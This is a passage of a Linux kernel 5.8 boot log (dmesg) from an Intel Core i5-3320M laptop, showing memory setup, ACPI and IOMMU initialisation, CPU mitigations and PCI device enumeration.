0x0000000040005000-0x00000000cfef6fff] +[ 0.012152] node 0: [mem 0x00000000d00f9000-0x00000000d684efff] +[ 0.012153] node 0: [mem 0x00000000dafff000-0x00000000daffffff] +[ 0.012153] node 0: [mem 0x0000000100000000-0x000000041e5fffff] +[ 0.012637] Zeroed struct page in unavailable ranges: 46628 pages +[ 0.012639] Initmem setup node 0 [mem 0x0000000000001000-0x000000041e5fffff] +[ 0.012640] On node 0 totalpages: 4147676 +[ 0.012642] DMA zone: 64 pages used for memmap +[ 0.012642] DMA zone: 92 pages reserved +[ 0.012643] DMA zone: 3983 pages, LIFO batch:0 +[ 0.012668] DMA32 zone: 13650 pages used for memmap +[ 0.012669] DMA32 zone: 873549 pages, LIFO batch:63 +[ 0.018035] Normal zone: 51096 pages used for memmap +[ 0.018038] Normal zone: 3270144 pages, LIFO batch:63 +[ 0.038035] Reserving Intel graphics memory at [mem 0xdba00000-0xdf9fffff] +[ 0.038332] ACPI: PM-Timer IO Port: 0x408 +[ 0.038335] ACPI: Local APIC address 0xfee00000 +[ 0.038343] ACPI: LAPIC_NMI (acpi_id[0x00] high edge lint[0x1]) +[ 0.038343] ACPI: LAPIC_NMI (acpi_id[0x01] high edge lint[0x1]) +[ 0.038355] IOAPIC[0]: apic_id 2, version 32, address 0xfec00000, GSI 0-23 +[ 0.038358] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) +[ 0.038359] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) +[ 0.038361] ACPI: IRQ0 used by override. +[ 0.038362] ACPI: IRQ9 used by override. +[ 0.038364] Using ACPI (MADT) for SMP configuration information +[ 0.038365] ACPI: HPET id: 0x8086a301 base: 0xfed00000 +[ 0.038370] TSC deadline timer available +[ 0.038371] smpboot: Allowing 8 CPUs, 4 hotplug CPUs +[ 0.038390] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] +[ 0.038392] PM: hibernation: Registered nosave memory: [mem 0x00090000-0x000bffff] +[ 0.038393] PM: hibernation: Registered nosave memory: [mem 0x000c0000-0x000fffff] +[ 0.038394] PM: hibernation: Registered nosave memory: [mem 0x20000000-0x201fffff] +[ 0.038395] PM: hibernation: Registered nosave memory: [mem 0x40004000-0x40004fff] +[ 0.038397] PM: hibernation: Registered nosave memory: [mem 0xcfef7000-0xd00f8fff] +[ 0.038398] PM: hibernation: Registered nosave memory: [mem 0xd684f000-0xd6a4efff] +[ 0.038399] PM: hibernation: Registered nosave memory: [mem 0xd6a4f000-0xdae9efff] +[ 0.038400] PM: hibernation: Registered nosave memory: [mem 0xdae9f000-0xdaf9efff] +[ 0.038400] PM: hibernation: Registered nosave memory: [mem 0xdaf9f000-0xdaffefff] +[ 0.038402] PM: hibernation: Registered nosave memory: [mem 0xdb000000-0xdf9fffff] +[ 0.038402] PM: hibernation: Registered nosave memory: [mem 0xdfa00000-0xf80f7fff] +[ 0.038403] PM: hibernation: Registered nosave memory: [mem 0xf80f8000-0xf80f8fff] +[ 0.038403] PM: hibernation: Registered nosave memory: [mem 0xf80f9000-0xfed1bfff] +[ 0.038404] PM: hibernation: Registered nosave memory: [mem 0xfed1c000-0xfed1ffff] +[ 0.038405] PM: hibernation: Registered nosave memory: [mem 0xfed20000-0xffffffff] +[ 0.038406] [mem 0xdfa00000-0xf80f7fff] available for PCI devices +[ 0.038408] Booting paravirtualized kernel on bare hardware +[ 0.038411] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 6370452778343963 ns +[ 0.043530] setup_percpu: NR_CPUS:320 nr_cpumask_bits:320 nr_cpu_ids:8 nr_node_ids:1 +[ 0.043778] percpu: Embedded 56 pages/cpu s192512 r8192 d28672 u262144 +[ 0.043785] pcpu-alloc: s192512 r8192 d28672 u262144 alloc=1*2097152 +[ 0.043786] pcpu-alloc: [0] 0 1 2 3 4 5 6 7 +[ 0.043809] Built 1 zonelists, mobility grouping on. Total pages: 4082774 +[ 0.043810] Policy zone: Normal +[ 0.043811] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-5.8-x86_64 root=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 rw resume=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 resume_offset=7829504 intel_iommu=on quiet resume=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 resume_offset=7829504 intel_iommu=on +[ 0.043874] DMAR: IOMMU enabled +[ 0.043916] DMAR: IOMMU enabled +[ 0.044717] Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes, linear) +[ 0.045120] Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes, linear) +[ 0.045211] mem auto-init: stack:byref_all, heap alloc:on, heap free:off +[ 0.086772] Memory: 16117516K/16590704K available (14339K kernel code, 1480K rwdata, 4656K rodata, 1648K init, 3016K bss, 473188K reserved, 0K cma-reserved) +[ 0.086780] random: get_random_u64 called from __kmem_cache_create+0x3e/0x600 with crng_init=0 +[ 0.086908] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=1 +[ 0.086920] Kernel/User page tables isolation: enabled +[ 0.086939] ftrace: allocating 40167 entries in 157 pages +[ 0.101966] ftrace: allocated 157 pages with 5 groups +[ 0.102079] rcu: Preemptible hierarchical RCU implementation. +[ 0.102080] rcu: RCU dyntick-idle grace-period acceleration is enabled. +[ 0.102081] rcu: RCU restricting CPUs from NR_CPUS=320 to nr_cpu_ids=8. +[ 0.102082] rcu: RCU priority boosting: priority 1 delay 500 ms. +[ 0.102083] Trampoline variant of Tasks RCU enabled. +[ 0.102083] Rude variant of Tasks RCU enabled. +[ 0.102084] rcu: RCU calculated value of scheduler-enlistment delay is 30 jiffies. +[ 0.102084] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=8 +[ 0.105514] NR_IRQS: 20736, nr_irqs: 488, preallocated irqs: 16 +[ 0.105776] Console: colour dummy device 80x25 +[ 0.105780] printk: console [tty0] enabled +[ 0.105797] ACPI: Core revision 20200528 +[ 0.105953] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 133484882848 ns +[ 0.105967] APIC: Switch to symmetric I/O mode setup +[ 0.105969] DMAR: Host address width 36 +[ 0.105970] DMAR: DRHD base: 0x000000fed90000 flags: 0x0 +[ 0.105975] DMAR: dmar0: reg_base_addr fed90000 ver 1:0 cap c0000020e60262 ecap f0101a +[ 0.105976] DMAR: DRHD base: 0x000000fed91000 flags: 0x1 +[ 0.105979] DMAR: dmar1: reg_base_addr fed91000 ver 1:0 cap c9008020660262 ecap f0105a +[ 0.105979] DMAR: RMRR base: 0x000000da2ba000 end: 0x000000da2d0fff +[ 0.105981] DMAR: RMRR base: 0x000000db800000 end: 0x000000df9fffff +[ 0.105983] DMAR-IR: IOAPIC id 2 under DRHD base 0xfed91000 IOMMU 1 +[ 0.105983] DMAR-IR: HPET id 0 under DRHD base 0xfed91000 +[ 0.105984] DMAR-IR: Queued invalidation will be enabled to support x2apic and Intr-remapping. +[ 0.106395] DMAR-IR: Enabled IRQ remapping in x2apic mode +[ 0.106396] x2apic enabled +[ 0.106403] Switched APIC routing to cluster x2apic. +[ 0.106850] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 +[ 0.122635] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2564baca675, max_idle_ns: 440795329072 ns +[ 0.122639] Calibrating delay loop (skipped), value calculated using timer frequency.. 5190.52 BogoMIPS (lpj=8647240) +[ 0.122642] pid_max: default: 32768 minimum: 301 +[ 0.128651] LSM: Security Framework initializing +[ 0.128657] Yama: becoming mindful. +[ 0.128696] Mount-cache hash table entries: 32768 (order: 6, 262144 bytes, linear) +[ 0.128720] Mountpoint-cache hash table entries: 32768 (order: 6, 262144 bytes, linear) +[ 0.129469] mce: CPU0: Thermal monitoring enabled (TM1) +[ 0.129480] process: using mwait in idle threads +[ 0.129482] Last level iTLB entries: 4KB 512, 2MB 8, 4MB 8 +[ 0.129483] Last level dTLB entries: 4KB 512, 2MB 32, 4MB 32, 1GB 0 +[ 0.129486] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization +[ 0.129488] Spectre V2 : Mitigation: Full generic retpoline +[ 0.129489] Spectre V2 : Spectre v2 / SpectreRSB mitigation: Filling RSB on context switch +[ 0.129489] Spectre V2 : Enabling Restricted Speculation for firmware calls +[ 0.129491] Spectre V2 : mitigation: Enabling conditional Indirect Branch Prediction Barrier +[ 0.129491] Spectre V2 : User space: Mitigation: STIBP via seccomp and prctl +[ 0.129493] Speculative Store Bypass: Mitigation: Speculative Store Bypass disabled via prctl and seccomp +[ 0.129496] SRBDS: Vulnerable: No microcode +[ 0.129497] MDS: Mitigation: Clear CPU buffers +[ 0.129713] Freeing SMP alternatives memory: 32K +[ 0.131560] smpboot: CPU0: Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (family: 0x6, model: 0x3a, stepping: 0x9) +[ 0.131675] Performance Events: PEBS fmt1+, IvyBridge events, 16-deep LBR, full-width counters, Intel PMU driver. +[ 0.131682] ... version: 3 +[ 0.131682] ... bit width: 48 +[ 0.131683] ... generic registers: 4 +[ 0.131683] ... value mask: 0000ffffffffffff +[ 0.131684] ... max period: 00007fffffffffff +[ 0.131684] ... fixed-purpose events: 3 +[ 0.131685] ... event mask: 000000070000000f +[ 0.131727] rcu: Hierarchical SRCU implementation. +[ 0.132580] NMI watchdog: Enabled. Permanently consumes one hw-PMU counter. +[ 0.132636] smp: Bringing up secondary CPUs ... +[ 0.132636] x86: Booting SMP configuration: +[ 0.132636] .... node #0, CPUs: #1 +[ 0.132748] MDS CPU bug present and SMT on, data leak possible. See https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/mds.html for more details. +[ 0.132822] #2 #3 +[ 0.138404] smp: Brought up 1 node, 4 CPUs +[ 0.138404] smpboot: Max logical packages: 2 +[ 0.138404] smpboot: Total of 4 processors activated (20761.10 BogoMIPS) +[ 0.139729] devtmpfs: initialized +[ 0.139729] x86/mm: Memory block size: 128MB +[ 0.140581] PM: Registering ACPI NVS region [mem 0xdae9f000-0xdaf9efff] (1048576 bytes) +[ 0.140581] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 6370867519511994 ns +[ 0.140581] futex hash table entries: 2048 (order: 5, 131072 bytes, linear) +[ 0.140581] pinctrl core: initialized pinctrl subsystem +[ 0.140581] PM: RTC time: 14:55:39, date: 2020-09-30 +[ 0.140581] thermal_sys: Registered thermal governor 'fair_share' +[ 0.140581] thermal_sys: Registered thermal governor 'bang_bang' +[ 0.140581] thermal_sys: Registered thermal governor 'step_wise' +[ 0.140581] thermal_sys: Registered thermal governor 'user_space' +[ 0.140581] thermal_sys: Registered thermal governor 'power_allocator' +[ 0.140581] NET: Registered protocol family 16 +[ 0.140581] DMA: preallocated 2048 KiB GFP_KERNEL pool for atomic allocations +[ 0.140581] DMA: preallocated 2048 KiB GFP_KERNEL|GFP_DMA pool for atomic allocations +[ 0.140581] DMA: preallocated 2048 KiB GFP_KERNEL|GFP_DMA32 pool for atomic allocations +[ 0.140581] audit: initializing netlink subsys (disabled) +[ 0.140581] audit: type=2000 audit(1601477739.033:1): state=initialized audit_enabled=0 res=1 +[ 0.140581] cpuidle: using governor ladder +[ 0.140581] cpuidle: using governor menu +[ 0.140581] ACPI FADT declares the system doesn't support PCIe ASPM, so disable it +[ 0.140581] ACPI: bus type PCI registered +[ 0.140581] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5 +[ 0.140581] PCI: MMCONFIG for domain 0000 [bus 00-3f] at [mem 0xf8000000-0xfbffffff] (base 0xf8000000) +[ 0.140581] PCI: not using MMCONFIG +[ 0.140581] PCI: Using configuration type 1 for base access +[ 0.140581] core: PMU erratum BJ122, BV98, HSD29 worked around, HT is on +[ 0.142898] ENERGY_PERF_BIAS: Set to 'normal', was 'performance' +[ 0.143934] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages +[ 0.143934] ACPI: Added _OSI(Module Device) +[ 0.143934] ACPI: Added _OSI(Processor Device) +[ 0.143934] ACPI: Added _OSI(3.0 _SCP Extensions) +[ 0.143934] ACPI: Added _OSI(Processor Aggregator Device) +[ 0.143934] ACPI: Added _OSI(Linux-Dell-Video) +[ 0.143934] ACPI: Added _OSI(Linux-Lenovo-NV-HDMI-Audio) +[ 0.143934] ACPI: Added _OSI(Linux-HPI-Hybrid-Graphics) +[ 0.160850] ACPI: 6 ACPI AML tables successfully acquired and loaded +[ 0.161606] ACPI: EC: EC started +[ 0.161606] ACPI: EC: interrupt blocked +[ 0.162552] ACPI: EC: EC_CMD/EC_SC=0x66, EC_DATA=0x62 +[ 0.162553] ACPI: EC: Boot ECDT EC used to handle transactions +[ 0.162869] ACPI: [Firmware Bug]: BIOS _OSI(Linux) query ignored +[ 0.167432] ACPI: Dynamic OEM Table Load: +[ 0.167440] ACPI: SSDT 0xFFFFA3690B880000 000A01 (v01 PmRef Cpu0Cst 00003001 INTL 20061109) +[ 0.168544] ACPI: Dynamic OEM Table Load: +[ 0.168549] ACPI: SSDT 0xFFFFA3690BA2CC00 000303 (v01 PmRef ApIst 00003000 INTL 20061109) +[ 0.169420] ACPI: Dynamic OEM Table Load: +[ 0.169425] ACPI: SSDT 0xFFFFA3690BA17800 000119 (v01 PmRef ApCst 00003000 INTL 20061109) +[ 0.171021] ACPI: Interpreter enabled +[ 0.171043] ACPI: (supports S0 S3 S4 S5) +[ 0.171044] ACPI: Using IOAPIC for interrupt routing +[ 0.171070] PCI: MMCONFIG for domain 0000 [bus 00-3f] at [mem 0xf8000000-0xfbffffff] (base 0xf8000000) +[ 0.171729] PCI: MMCONFIG at [mem 0xf8000000-0xfbffffff] reserved in ACPI motherboard resources +[ 0.171738] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug +[ 0.172087] ACPI: Enabled 6 GPEs in block 00 to 3F +[ 0.175796] ACPI: Power Resource [PUBS] (on) +[ 0.175953] acpi PNP0C0A:01: ACPI dock station (docks/bays count: 1) +[ 0.177107] acpi LNXIOBAY:00: ACPI dock station (docks/bays count: 2) +[ 0.179763] acpi IBM0079:00: ACPI dock station (docks/bays count: 3) +[ 0.180348] ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 5 6 7 9 10 *11) +[ 0.180449] ACPI: PCI Interrupt Link [LNKB] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.180547] ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.180645] ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.180742] ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.180839] ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.180936] ACPI: PCI Interrupt Link [LNKG] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.181034] ACPI: PCI Interrupt Link [LNKH] (IRQs 3 4 5 6 7 9 10 11) *0, disabled. +[ 0.181137] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-3f]) +[ 0.181142] acpi PNP0A08:00: _OSC: OS supports [ExtendedConfig ASPM ClockPM Segments MSI EDR HPX-Type3] +[ 0.181329] acpi PNP0A08:00: _OSC: platform does not support [SHPCHotplug PCIeCapability LTR DPC] +[ 0.181414] acpi PNP0A08:00: _OSC: not requesting control; platform does not support [PCIeCapability] +[ 0.181416] acpi PNP0A08:00: _OSC: OS requested [PCIeHotplug SHPCHotplug PME AER PCIeCapability LTR DPC] +[ 0.181417] acpi PNP0A08:00: _OSC: platform willing to grant [PCIeHotplug PME AER] +[ 0.181418] acpi PNP0A08:00: _OSC failed (AE_SUPPORT); disabling ASPM +[ 0.181622] PCI host bridge to bus 0000:00 +[ 0.181624] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] +[ 0.181626] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] +[ 0.181627] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] +[ 0.181628] pci_bus 0000:00: root bus resource [mem 0xdfa00000-0xfebfffff window] +[ 0.181629] pci_bus 0000:00: root bus resource [mem 0xfed40000-0xfed4bfff window] +[ 0.181630] pci_bus 0000:00: root bus resource [bus 00-3f] +[ 0.181640] pci 0000:00:00.0: [8086:0154] type 00 class 0x060000 +[ 0.181733] pci 0000:00:02.0: [8086:0166] type 00 class 0x030000 +[ 0.181745] pci 0000:00:02.0: reg 0x10: [mem 0xf0000000-0xf03fffff 64bit] +[ 0.181750] pci 0000:00:02.0: reg 0x18: [mem 0xe0000000-0xefffffff 64bit pref] +[ 0.181755] pci 0000:00:02.0: reg 0x20: [io 0x7000-0x703f] +[ 0.181768] pci 0000:00:02.0: BAR 2: assigned to efifb +[ 0.181871] pci 0000:00:14.0: [8086:1e31] type 00 class 0x0c0330 +[ 0.181895] pci 0000:00:14.0: reg 0x10: [mem 0xf2520000-0xf252ffff 64bit] +[ 0.181966] pci 0000:00:14.0: PME# supported from D3hot D3cold +[ 0.182056] pci 0000:00:16.0: [8086:1e3a] type 00 class 0x078000 +[ 0.182078] pci 0000:00:16.0: reg 0x10: [mem 0xf2535000-0xf253500f 64bit] +[ 0.182143] pci 0000:00:16.0: PME# supported from D0 D3hot D3cold +[ 0.182213] pci 0000:00:16.3: [8086:1e3d] type 00 class 0x070002 +[ 0.182231] pci 0000:00:16.3: reg 0x10: [io 0x70b0-0x70b7] +[ 0.182240] pci 0000:00:16.3: reg 0x14: [mem 0xf253c000-0xf253cfff] +[ 0.182374] pci 0000:00:19.0: [8086:1502] type 00 class 0x020000 +[ 0.182394] pci 0000:00:19.0: reg 0x10: [mem 0xf2500000-0xf251ffff] +[ 0.182402] pci 0000:00:19.0: reg 0x14: [mem 0xf253b000-0xf253bfff] +[ 0.182410] pci 0000:00:19.0: reg 0x18: [io 0x7080-0x709f] +[ 0.182472] pci 0000:00:19.0: PME# supported from D0 D3hot D3cold +[ 0.182560] pci 0000:00:1a.0: [8086:1e2d] type 00 class 0x0c0320 +[ 0.182583] pci 0000:00:1a.0: reg 0x10: [mem 0xf253a000-0xf253a3ff] +[ 0.182670] pci 0000:00:1a.0: PME# supported from D0 D3hot D3cold +[ 0.182762] pci 0000:00:1b.0: [8086:1e20] type 00 class 0x040300 +[ 0.182784] pci 0000:00:1b.0: reg 0x10: [mem 0xf2530000-0xf2533fff 64bit] +[ 0.182865] pci 0000:00:1b.0: PME# supported from D0 D3hot D3cold +[ 0.182961] pci 0000:00:1c.0: [8086:1e10] type 01 class 0x060400 +[ 0.183061] pci 0000:00:1c.0: PME# supported from D0 D3hot D3cold +[ 0.183084] pci 0000:00:1c.0: Enabling MPC IRBNCE +[ 0.183087] pci 0000:00:1c.0: Intel PCH root port ACS workaround enabled +[ 0.183175] pci 0000:00:1c.1: [8086:1e12] type 01 class 0x060400 +[ 0.183273] pci 0000:00:1c.1: PME# supported from D0 D3hot D3cold +[ 0.183295] pci 0000:00:1c.1: Enabling MPC IRBNCE +[ 0.183297] pci 0000:00:1c.1: Intel PCH root port ACS workaround enabled +[ 0.183384] pci 0000:00:1c.2: [8086:1e14] type 01 class 0x060400 +[ 0.183483] pci 0000:00:1c.2: PME# supported from D0 D3hot D3cold +[ 0.183503] pci 0000:00:1c.2: Enabling MPC IRBNCE +[ 0.183506] pci 0000:00:1c.2: Intel PCH root port ACS workaround enabled +[ 0.183596] pci 0000:00:1d.0: [8086:1e26] type 00 class 0x0c0320 +[ 0.183619] pci 0000:00:1d.0: reg 0x10: [mem 0xf2539000-0xf25393ff] +[ 0.183704] pci 0000:00:1d.0: PME# supported from D0 D3hot D3cold +[ 0.183793] pci 0000:00:1f.0: [8086:1e55] type 00 class 0x060100 +[ 0.183982] pci 0000:00:1f.2: [8086:1e03] type 00 class 0x010601 +[ 0.184000] pci 0000:00:1f.2: reg 0x10: [io 0x70a8-0x70af] +[ 0.184008] pci 0000:00:1f.2: reg 0x14: [io 0x70bc-0x70bf] +[ 0.184015] pci 0000:00:1f.2: reg 0x18: [io 0x70a0-0x70a7] +[ 0.184023] pci 0000:00:1f.2: reg 0x1c: [io 0x70b8-0x70bb] +[ 0.184031] pci 0000:00:1f.2: reg 0x20: [io 0x7060-0x707f] +[ 0.184038] pci 0000:00:1f.2: reg 0x24: [mem 0xf2538000-0xf25387ff] +[ 0.184081] pci 0000:00:1f.2: PME# supported from D3hot +[ 0.184164] pci 0000:00:1f.3: [8086:1e22] type 00 class 0x0c0500 +[ 0.184182] pci 0000:00:1f.3: reg 0x10: [mem 0xf2534000-0xf25340ff 64bit] +[ 0.184203] pci 0000:00:1f.3: reg 0x20: [io 0xefa0-0xefbf] +[ 0.184567] pci 0000:02:00.0: [1180:e823] type 00 class 0x088001 +[ 0.184595] pci 0000:02:00.0: MMC controller base frequency changed to 50Mhz. +[ 0.184633] pci 0000:02:00.0: reg 0x10: [mem 0xf1d00000-0xf1d000ff] +[ 0.184864] pci 0000:02:00.0: supports D1 D2 +[ 0.184865] pci 0000:02:00.0: PME# supported from D0 D1 D2 D3hot D3cold +[ 0.185275] pci 0000:00:1c.0: PCI bridge to [bus 02] +[ 0.185279] pci 0000:00:1c.0: bridge window [io 0x6000-0x6fff] +[ 0.185283] pci 0000:00:1c.0: bridge window [mem 0xf1d00000-0xf24fffff] +[ 0.185289] pci 0000:00:1c.0: bridge window [mem 0xf0400000-0xf0bfffff 64bit pref] +[ 0.185355] pci 0000:03:00.0: [10ec:8176] type 00 class 0x028000 +[ 0.185404] pci 0000:03:00.0: reg 0x10: [io 0x5000-0x50ff] +[ 0.185452] pci 0000:03:00.0: reg 0x18: [mem 0xf1c00000-0xf1c03fff 64bit] +[ 0.185646] pci 0000:03:00.0: supports D1 D2 +[ 0.185647] pci 0000:03:00.0: PME# supported from D0 D1 D2 D3hot D3cold +[ 0.185820] pci 0000:00:1c.1: PCI bridge to [bus 03] +[ 0.185824] pci 0000:00:1c.1: bridge window [io 0x5000-0x5fff] +[ 0.185828] pci 0000:00:1c.1: bridge window [mem 0xf1c00000-0xf1cfffff] +[ 0.185904] acpiphp: Slot [1] registered +[ 0.185910] pci 0000:00:1c.2: PCI bridge to [bus 04-0b] +[ 0.185914] pci 0000:00:1c.2: bridge window [io 0x4000-0x4fff] +[ 0.185918] pci 0000:00:1c.2: bridge window [mem 0xf1400000-0xf1bfffff] +[ 0.185924] pci 0000:00:1c.2: bridge window [mem 0xf0c00000-0xf13fffff 64bit pref] +[ 0.187251] ACPI: EC: interrupt unblocked +[ 0.187251] ACPI: EC: event unblocked +[ 0.187257] ACPI: EC: EC_CMD/EC_SC=0x66, EC_DATA=0x62 +[ 0.187258] ACPI: EC: GPE=0x11 +[ 0.187260] ACPI: \_SB_.PCI0.LPC_.EC__: Boot ECDT EC initialization complete +[ 0.187261] ACPI: \_SB_.PCI0.LPC_.EC__: EC: Used to handle transactions and events +[ 0.187337] iommu: Default domain type: Translated +[ 0.187350] pci 0000:00:02.0: vgaarb: setting as boot VGA device +[ 0.187350] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none +[ 0.187350] pci 0000:00:02.0: vgaarb: bridge control possible +[ 0.187350] vgaarb: loaded +[ 0.187350] SCSI subsystem initialized +[ 0.187350] libata version 3.00 loaded. +[ 0.187350] ACPI: bus type USB registered +[ 0.187350] usbcore: registered new interface driver usbfs +[ 0.187350] usbcore: registered new interface driver hub +[ 0.187350] usbcore: registered new device driver usb +[ 0.187350] pps_core: LinuxPPS API ver. 1 registered +[ 0.187350] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <email address hidden> +[ 0.187350] PTP clock support registered +[ 0.187350] EDAC MC: Ver: 3.0.0 +[ 0.187350] Registered efivars operations +[ 0.187350] NetLabel: Initializing +[ 0.187350] NetLabel: domain hash size = 128 +[ 0.187350] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO +[ 0.187350] NetLabel: unlabeled traffic allowed by default +[ 0.187350] PCI: Using ACPI for IRQ routing +[ 0.187350] PCI: pci_cache_line_size set to 64 bytes +[ 0.187350] e820: reserve RAM buffer [mem 0x40004000-0x43ffffff] +[ 0.187350] e820: reserve RAM buffer [mem 0xcfef7000-0xcfffffff] +[ 0.187350] e820: reserve RAM buffer [mem 0xd684f000-0xd7ffffff] +[ 0.187350] e820: reserve RAM buffer [mem 0xdb000000-0xdbffffff] +[ 0.187350] e820: reserve RAM buffer [mem 0x41e600000-0x41fffffff] +[ 0.189970] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0, 0, 0, 0, 0, 0 +[ 0.189975] hpet0: 8 comparators, 64-bit 14.318180 MHz counter +[ 0.192689] clocksource: Switched to clocksource tsc-early +[ 0.205145] VFS: Disk quotas dquot_6.6.0 +[ 0.205164] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) +[ 0.205242] pnp: PnP ACPI init +[ 0.205897] system 00:00: [mem 0x00000000-0x0009ffff] could not be reserved +[ 0.205899] system 00:00: [mem 0x000c0000-0x000c3fff] could not be reserved +[ 0.205900] system 00:00: [mem 0x000c4000-0x000c7fff] could not be reserved +[ 0.205902] system 00:00: [mem 0x000c8000-0x000cbfff] has been reserved +[ 0.205904] system 00:00: [mem 0x000cc000-0x000cffff] has been reserved +[ 0.205905] system 00:00: [mem 0x000d0000-0x000d3fff] has been reserved +[ 0.205906] system 00:00: [mem 0x000d4000-0x000d7fff] has been reserved +[ 0.205908] system 00:00: [mem 0x000d8000-0x000dbfff] has been reserved +[ 0.205909] system 00:00: [mem 0x000dc000-0x000dffff] has been reserved +[ 0.205910] system 00:00: [mem 0x000e0000-0x000e3fff] has been reserved +[ 0.205911] system 00:00: [mem 0x000e4000-0x000e7fff] has been reserved +[ 0.205913] system 00:00: [mem 0x000e8000-0x000ebfff] has been reserved +[ 0.205914] system 00:00: [mem 0x000ec000-0x000effff] has been reserved +[ 0.205915] system 00:00: [mem 0x000f0000-0x000fffff] could not be reserved +[ 0.205916] system 00:00: [mem 0x00100000-0xdf9fffff] could not be reserved +[ 0.205918] system 00:00: [mem 0xfec00000-0xfed3ffff] could not be reserved +[ 0.205919] system 00:00: [mem 0xfed4c000-0xffffffff] could not be reserved +[ 0.205926] system 00:00: Plug and Play ACPI device, IDs PNP0c01 (active) +[ 0.206051] pnp 00:01: [Firmware Bug]: PNP resource [mem 0xfed10000-0xfed13fff] covers only part of 0000:00:00.0 Intel MCH; extending to [mem 0xfed10000-0xfed17fff] +[ 0.206071] system 00:01: [io 0x0400-0x047f] has been reserved +[ 0.206072] system 00:01: [io 0x0500-0x057f] has been reserved +[ 0.206073] system 00:01: [io 0x0800-0x080f] has been reserved +[ 0.206075] system 00:01: [io 0x15e0-0x15ef] has been reserved +[ 0.206076] system 00:01: [io 0x1600-0x167f] has been reserved +[ 0.206079] system 00:01: [mem 0xf8000000-0xfbffffff] could not be reserved +[ 0.206080] system 00:01: [mem 0xfffff000-0xffffffff] has been reserved +[ 0.206082] system 00:01: [mem 0xfed1c000-0xfed1ffff] has been reserved +[ 0.206083] system 00:01: [mem 0xfed10000-0xfed17fff] has been reserved +[ 0.206084] system 00:01: [mem 0xfed18000-0xfed18fff] has been reserved +[ 0.206086] system 00:01: [mem 0xfed19000-0xfed19fff] has been reserved +[ 0.206087] system 00:01: [mem 0xfed45000-0xfed4bfff] has been reserved +[ 0.206091] system 00:01: Plug and Play ACPI device, IDs PNP0c02 (active) +[ 0.206154] pnp 00:02: Plug and Play ACPI device, IDs PNP0b00 (active) +[ 0.206177] pnp 00:03: Plug and Play ACPI device, IDs LEN0071 PNP0303 (active) +[ 0.206197] pnp 00:04: Plug and Play ACPI device, IDs LEN0020 PNP0f13 (active) +[ 0.206250] pnp 00:05: Plug and Play ACPI device, IDs SMO1200 PNP0c31 (active) +[ 0.206871] pnp: PnP ACPI: found 6 devices +[ 0.212684] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns +[ 0.212744] NET: Registered protocol family 2 +[ 0.212898] tcp_listen_portaddr_hash hash table entries: 8192 (order: 5, 131072 bytes, linear) +[ 0.212978] TCP established hash table entries: 131072 (order: 8, 1048576 bytes, linear) +[ 0.213207] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes, linear) +[ 0.213287] TCP: Hash tables configured (established 131072 bind 65536) +[ 0.213405] UDP hash table entries: 8192 (order: 6, 262144 bytes, linear) +[ 0.213449] UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes, linear) +[ 0.213550] NET: Registered protocol family 1 +[ 0.213555] NET: Registered protocol family 44 +[ 0.213567] pci 0000:00:1c.0: PCI bridge to [bus 02] +[ 0.213571] pci 0000:00:1c.0: bridge window [io 0x6000-0x6fff] +[ 0.213577] pci 0000:00:1c.0: bridge window [mem 0xf1d00000-0xf24fffff] +[ 0.213581] pci 0000:00:1c.0: bridge window [mem 0xf0400000-0xf0bfffff 64bit pref] +[ 0.213587] pci 0000:00:1c.1: PCI bridge to [bus 03] +[ 0.213590] pci 0000:00:1c.1: bridge window [io 0x5000-0x5fff] +[ 0.213595] pci 0000:00:1c.1: bridge window [mem 0xf1c00000-0xf1cfffff] +[ 0.213603] pci 0000:00:1c.2: PCI bridge to [bus 04-0b] +[ 0.213606] pci 0000:00:1c.2: bridge window [io 0x4000-0x4fff] +[ 0.213611] pci 0000:00:1c.2: bridge window [mem 0xf1400000-0xf1bfffff] +[ 0.213615] pci 0000:00:1c.2: bridge 